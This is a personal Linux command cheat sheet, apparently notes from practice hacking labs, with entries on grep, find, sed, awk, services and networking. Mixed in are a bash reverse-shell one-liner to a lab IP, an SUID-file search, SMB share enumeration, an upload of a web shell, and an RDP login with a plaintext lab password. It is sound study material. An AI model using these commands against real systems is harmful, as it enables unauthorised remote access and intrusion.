# Linux ###### tags: `linux` [TOC] [Linux](/te0qHDEIRI-yirXZXJuhhg) [DashFilename](/8vgxvFLzQmanpw6QLrdj6A) [Reference space with filename in Linux](/n9rp10KmTmy23EWoNcyVVA) --- # Cmd Cheat Sheet ## Show ``` lsb_release -a ``` ## grep ``` grep "search string" /path/to/search ``` ``` grep -rni "example" /home/user/Documents ``` ``` grep -rni "aubreanna" / 2>/dev/null ``` -r recursive -n -i ignore 大小寫 ## cut sample ``` cat /etc/passwd | cut --delimiter=":" --fields=1 ``` ## tr (translate) ``` echo "10.10.57.11:25 Users found: , _apt, administrator, backup, bin, daemon, dnsmasq, games, gnats, irc, landscape, list, lp, lxd, mail, man, messagebus, news, nobody, pollinate, postfix, postmaster, proxy, sshd, sync, sys, syslog, systemd-network, systemd-resolve, systemd-timesync, uucp, uuidd, www-data" | tr ',' '\n' >> mailUser ``` ## cat ``` cat > meow.txt meow meow ``` out put -> meow.txt meow meow ``` cat > meow.txt << EOF heredoc> meow heredoc> meow heredoc> EOF //EOF -> end of the file ``` meow meow ## locate locate-> 感覺比較好找XD ``` locate -b meowhecker ``` ## find ``` find / -type f -perm -04000 -ls 2>/dev/null ``` --- ``` find . -name flag1.txt : find the file named “flag1.txt” in the current directory find /home -name flag1.txt : find the file names “flag1.txt” in the /home directory find / -type d -name config : find the directory named config under “/” find / -type f -perm 0777 : find files with the 777 permissions (files readable, writable, and executable by all users) find / -perm a=x : find executable files find /home -user frank : find all files for user “frank” under “/home” find / -mtime 10 : find files that were modified in the last 10 days find / -atime 10 : find files that were accessed in the last 10 day find / -cmin -60 : find files changed within the last hour (60 minutes) find / -amin -60 : find files accesses within the last hour (60 minutes) find / -size 50M : find files with a 50 MB size ``` ## sed ``` sed -n '45000,50000p' wordlists/rockyou.txt >> meow ``` ## awk 顯示特定 column ``` cat tcp.txt | grep Mbits | head -n 10 | tr "-" " " | awk '{print $4,$8}' ``` column 4 and 8 ## sqlite Access DB ``` sqlite3 webapp.db ``` ## iptables Show iptables ``` iptables -L -n ``` ## sqlite3 Show tables ``` .tables ``` Show columns ``` PRAGMA table_info(users); ``` ## Version cmd ``` uname -r cat proc/version ``` ![](https://i.imgur.com/9arZSHu.png) --- ## Run Apache server ```bash #!/bin/bash service apache2 start ``` ## Stop apache server ```bash #!/bin/bash service apache2 stop ``` ## To start the MySQL service in Kali Linux ```bash #!/bin/bash service mysql start sudo mysql -u root ``` ![](https://i.imgur.com/0Imtk6d.png) ## Stop Mysql ``` #!/bin/bash service mysql stop ``` --- # Redirect ## >& & -> 重定向輸出（stdout）和錯誤輸出（stderr），將 stdout 和 stderr 輸出重定向到同一個地方。 ## Sample test sh ``` echo meowhecker ``` ![](https://i.imgur.com/Dj15LMV.png) ## 0>&1 將 stdin 重定向到 stdout。 ![](https://i.imgur.com/TeacOGj.png) Bash shell ``` Bash -i >& /dev/tcp/10.10.10.1/6666 0>&1 ``` ## PDR login ``` xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.10.243.73 /u:'THM\Administrator' /p:'Password321' ``` ## 解析度 https://clay-atlas.com/blog/2020/10/23/linux-cn-xrandr-adjust-resolution-screen-settings/ ``` xrandr --output Virtual1 --mode 1280x1024 ``` ## ＄PATH local -> Current terminal ``` export PATH=$PATH:"binary file" export PATH="binary file":$PATH ``` global ``` vim ./bashrc ``` # Process ## suspend (running in the back ground ) ``` ctrl+Z & <command> ``` ## resume ``` fg <jobs name > ``` ## kill the process ``` kill -9 <PID> ``` # Network ## Check TCP Socket ### netstat list, TCP, Process ``` netstat -ltp ``` ### ssh ``` ss -tulpn ``` -t：顯示連接的 TCP 連線。 -u：顯示連接的 UDP 連線。 -l：顯示連接的狀態是 listen。 -p：顯示連接的進程 ID。 -n：不進行域名解析，輸出數字 IP 地址。 ## SMB command ``` nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.82.161 ``` Specific User login ``` smbclient //10.10.82.161/milesdyson -U <username> ``` upload the file ``` put webShell.aspx ``` ## DF ``` DF -h ```